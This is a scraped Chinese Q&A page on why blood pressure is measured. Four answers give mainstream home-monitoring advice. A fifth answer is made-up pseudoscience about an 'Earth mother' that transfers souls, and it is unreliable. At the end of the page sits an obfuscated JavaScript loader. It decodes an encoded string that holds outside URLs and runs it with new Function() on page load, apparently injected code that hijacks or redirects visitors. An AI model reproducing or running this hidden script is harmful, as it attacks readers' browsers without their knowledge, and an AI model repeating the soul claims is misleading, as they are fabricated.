测量血压的意义?

2025-02-16 04:35:24
推荐回答(5个)
回答1:

高血压是当今最常见的疾病之一,且患病率仍在上升,如今,人们已经普遍认识到它的危险性。持久、有效地降压必须建立在正确监测血压的基础上。除了在医院就诊时测血压外,患者还会进行血压的自测。现在,许多人家中都自备有血压计,以便主动参与血压观察。那么,如何看待此事?如何将此事做好?就此问题,谈几点意见。

自测血压对健康人有何好处

● 有利于及早发现高血压年龄愈大,高血压病的患病率愈高。而许多早期高血压病患者无明显症状。因此,健康的中老年人常测血压,如每1~2个月测一次,有助于及时发现新出现的血压异常。

● 有利于发现“白大衣高血压”约有10%的健康人,在医院测血压总是“超标”,而在家中自测却又正常,故称之为“白大衣高血压”。究其原因,可能是在诊室测血压时,身在医院、面对医生,难免精神紧张、情绪不安,因此引起血压向上波动。而自测血压时,身在家中、面对亲属,无心理压力,血压亦平稳如常。但近来有资料表明,有“白大衣高血压”者虽非高血压患者,但以后患高血压病的可能性却较大,因此还是应该多加小心。

●对某些中青年人也大有益处对于超重、肥胖、特别是大腹便便而又感觉颇好者,可通过自测而及时发现血压是否升高或有升高趋势。如果让那些发现有血压异常者再做进一步检查,常会发现他们往往还有“一揽子”的其他代谢异常,如高血糖、血脂紊乱、高尿酸,等等。据此,医生会诊断他们患有“代谢综合征”。血压升高是该综合征出现较早的一个征象。现已明确,代谢综合征是英年早发心脑血管病的重要原因。

自测血压对高血压患者好处更多

●可为医生提供更多信息人们的血压经常起伏波动,而患者就诊时由医生所测的血压,实际上是很长时间内的一个瞬间值。如果将平时自测血压的数值记录下来,并提供给医生,会让医生对患者的情况多一份了解。

●可为医生提供患者在家中、自然状态下的血压情况观察表明,患者在诊室中经医生测量的血压和在家中自测的血压往往不同:常常是前者高于后者。哪一个更可靠?研究表明,二者相比,自测血压值与以后是否患心脑血管病间的关系更为密切;或者说,自测血压值可更好地预测以后心脑血管病的发生状况。故结论是,在家中自测的血压比在诊室中测量更可信。现有的共识是,应鼓励患者自测血压。毫无疑问,这也特别有利于更准确地监测服药的降压效果,有助于医生制订合理的治疗方案。

●可增加患者主动配合治疗的意识这种自我监测可提高患者对疗效的关注;减少不按医嘱服药,治疗随意,我行我素的现象。

如何保证测量结果准确

首先要选择一台好的血压计。由于是家庭自用,故以电子式半自动血压计为好,其操作简单易掌握。但应注意两个问题:一是要定期带到医院,请医生帮助,将其与水银柱式血压计测的结果做核对;二是要用得到政府批准生产,测量结果可信的血压计。水银柱式血压计虽准确,但操作不易掌握;加之老年人易有听力障碍,准确判断更显得困难些。此外,水银还有污染环境之嫌。还应提及的是,血压计袖带的大小要适当,肥胖或消瘦者应分别使用特制的大号或小号袖带,不可凑合,否则也会使测量结果不准。

掌握正确的测量方法,基本要求有以下几点。

1. 检查前安静休息5分钟以上。

2. 检查时心情平静、放松,不说话。

3. 采取坐位者应背靠椅背,下肢着地,双腿不交叉。平卧位亦可。

4. 进行测压的右上臂要裸露,置于心脏水平,将袖带缚于上臂中段。

5. 至少应测两次,每次间隔1~2分钟。如两次结果相差较大,应再次测量,取其平均值。

何时测量血压才能得到较好的效果

● 首先要了解血压正常与否的诊断标准众所周知,在诊室中诊断血压升高的标准是140/90毫米汞柱。而在家中自测时,该标准为135/85毫米汞柱。这就是说,自测血压为135/85毫米汞柱或以上时,提示血压未达正常指标。首次发现者,应去看医生了。

● 选择适当的测压时间一般而言,宜在清晨服药前、傍晚,以及有头昏、头痛、颈部僵硬等不适症状时测压。我们的血压经常波动。绝大多数人血压昼夜波动的规律是:在早晨5~10点及傍晚4~8点左右血压较高,形成两个高峰,而早晨更高些。在中午及深夜血压较低,形成两个低谷,深夜更低些。因此,如早晨服药前的血压达标,傍晚血压也正常,那么全天血压应大体在正常范围内,说明血压控制良好。反之,说明高血压尚未得到有效控制。强调服药前测血压是为了观察前次服药的效果。至于在有症状时测血压,是为明确该症状是否与血压不正常有关:是由于血压控制不佳,继续升高?还是由于降压过多或过快而太低了?

治疗有效,血压平稳后可减少测压次数,如每周或每两周,甚至每月测一次。

要注意避免自测血压的副作用

自测血压可能产生以下副作用。

一是未经医生同意,自行改变治疗方案,而这可能会造成不良后果。如某位患者,就诊时血压170/100毫米汞柱。医生为他开了降压药。告诉他:血压逐渐下降,可自测血压,两周后复诊。该患者服药9天后清晨血压为150/95毫米汞柱。“怎么还不正常?每天吃一小片药,剂量太小了吧?”于是将药量加倍服下。中午时觉头晕、乏力、极度虚弱。急送医务室,测血压85/60毫米汞柱。看来导致出现上述症状的原因是血压降得过低,起因是操之过急,擅自加药。须知必须逐渐降压。尤其在高龄、血压升高显着、高血压持续时间长者,降压更须从缓。还有的患者自测血压正常后就停服降压药,结果导致短期内血压又显着上升。要知道:您现在的血压正常是前些天服药的结果。为了明天、后天血压正常,今天就必须服药,否则血压又将升高。总之,因自测血压有变化而对治疗方案有疑虑时,应咨询医生,不可自做主张更改治疗药物。

二是总惦记着测血压,影响了正常生活秩序。如某位患者遵医嘱服降压药后,每天测血压10多次,甚至半夜时也要起床量血压。其理由是:①高血压很重要,我要看血压究竟降了没有;②担心吃药后引起低血压、脑缺血;③担心夜间血压过低,发生意外而不知道;④我的血压总在变化,每次测量都不太一样:如在餐前餐后、活动与否,上午下午、白天晚上等等,均不同;⑤稍有不适,就担心与血压有关。显然,测血压已成为她的精神负担,过度思虑已使其处于焦灼状态。与其这样,不如不再自测血压,而是将自己的想法告诉医生,认真听听医生解释;并定期到医院,让医生替自己测血压。

回答2:

血压是最基本的生命体征之一。有重大意义:
1.鉴别疾病。如注射药物后病人晕倒,测量血压,正常的是晕针患者,低或测量不到就是过敏性休克。
2.诊断疾病。高血压和低血压的患者,通过测量血压就可以诊断。
3.指导用药。如高血压患者出现头晕,通过测量血压,低者就不能再使用降血压的药物,而血压高的头晕就需要用降压药治疗。
通过测量血压,可以清楚自己的血压情况,对起居,饮食,用药,保健等等都有重要的指导作用。

回答3:

血压与体温、心率、呼吸频率作为一种生命体征。它的稳定对身体的各大系统以及各大脏器都有意义,包括心脑血管系统、内分泌系统以及心、脑、肾。
血压太低,各大脏器供血不足。太高容易使血管破裂出血,容易是血糖血脂异常,导致其他慢性急性的疾病,它的靶器官容易受损受累。
高血压比较常见,说下高血压吧
高血压是一种终身性慢性疾病,病因非常复杂。,长期高血压可直接造成心、脑、肾、眼底等诸多重要脏器的损害,而且高血压与它的一些致病因素,如肥胖、吸烟、高脂血症及糖尿病等伴随疾病共同作用,可导致如心肌梗死、脑卒中等一系列危及生命的心脑血管疾病,也称脑血管事件。
测量血压的意义是监测血压的变化,目标是控制血压,通过血压来治疗预防。第一要防止出现并发症,第二是对已有高血压和并发症的患者采取积极应对措施,尽可能逆转病情,防止高血压导致心脑血管事件。所以临床一旦确诊高血压,不论病情轻重,首先要对高血压可能造成的重要器官损害进行全名系统的检查,评估损害程度,为治疗提供准确依据。

回答4:

一般人平时测量血压主要是为了排除“高血压”的存在。

血压升高患者平常可能没有什么自觉症状,而长期血压增高会损伤体内血管,增加心脑血管意外(如脑梗塞,脑出血、心肌梗死等)的发生率。
通过定期或不定期的血压监测,可以及时发现这种无症状高血压的存在,及早进行药物和行为干预,从而降低心脑血管意外的发生率。

回答5:

绝密档案真相真正的生命过程,
首先我们来认识一个概念那就是多维空间,首先来说一个主体,地球是有生命的,那在一个深层空间
的体现就如同一个多触角的生命体,象树跟一样一层一层分开好多触须,而触须的尽头就是地球生物生命
产生的接触点。
接下来说下人类形态,人类精子与卵子,结合后在这个空间48小时有效期内,在另外空间的作用就是
起到一个粘和状态的作用,用来粘和所谓灵魂与肉体,简单的说人的肉体是一个终端,他粘和着灵魂,然后灵魂和肉体还有一条线粘和着地球生命母体。在没有肉体的情况下灵魂是始终连接着地球母体的,就如同细菌的初始形态一样,那么接下来说的是地球生命体的自我意思,在地球母体深层空间高度智慧生命体的母体体现形式,就如同一个多触角的机器人,精确计算着何时转换着每一个终端肉体。
接下来说人类体现形式,人类做了太多错事的所谓坏人恶人,就如同烂了的树跟不及时清除修复就会污染毁坏掉许多别的肉体终端。所以地球有自己的修复和舍除模式,在多维空间下的其他空间做分类修复,就如现在在佛教中所说的6道。如果说修复空间有修复的话,那么对于大恶之人所说的形神具灭就是地球母体的对其舍弃与销毁。
生命体终端的产生模式就等于,人类男女的结合由精子与卵子开始,当结合的在这个空间的48小时里在另外空间产生粘和作用,而在另外空间的地球生命母体的触角接触到这个粘和点被粘和的时候,就是终端生命体有了灵魂输送通道的时候,然后在人类肉体终端被怀孕的280天里,灵魂被传送到,在280天里肉体孕育成熟,那么280天就是说明了地球母体与人类肉体终端的空间,距离时间是280天左右,这个空间距离现在怎么计算我不是很清楚。
下面是很关键的说明,生命体的死亡,在地球生命体的终端死亡脱落时在深层空间的地球母体会把连接肉体的触角断开收回灵魂。也就是说肉体死亡灵魂将被地球母体收回深层空间。然后如果这个灵魂是生前做了好事的话也就是说是好灵魂的话,那么就由母体把这个灵魂再发到别的空间生养或在发出给与新的生命体终端,而做了坏事的人灵魂就会放到修复空间,而修复空间的体现形式就是宗教所说的地狱一类的地方。多数生命体在收回都会进行修复。
接下来说克隆与人类长生的问题,人类现有了克隆复制的技术,但是肉体中断可以复制而灵魂却复制不了,为什么呢,因为地球母体的触角是人类根本复制不了的,而复制品的短期记忆与意识的残留是复制品过早死亡的根本原因,也就是说其实克隆复制品根本就没有真正的灵魂。那么也就是说如果想复制品有灵魂,必须在母体触角没断开的情况下复制替换生命终端才可以,也就是说在不断开灵魂的情况下复制肉体,单纯的复制肉体是没有意义的,那么也就是说没有长生的肉体而可以有长生的灵魂。
以上就是很简单的一个生命空间全过程。由于有一部分关键的东西是不可以写出来的,但是这是一个小小的成果,那个DNA其实用处远比我们知道的大的多,呵呵,只是我不写出来,嘿嘿。
而地球母体的智慧与深层的意识交流。。。。。。。。。。没人探讨实在不爱说,有没有人也明白这道理来一起谈到一下呀,其实有过很少一部分人成功转换过灵魂,但是他们不知道根本道理,最终还是被地球母体收回,其实好象还没有没被收回的灵魂,只是有的灵魂可以在人间呆的时间久点而已,最终都是要被收回的,生命的奥意其实我和你们都不知道。。。知道的很少。。。。。但是我们想知道。。。。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();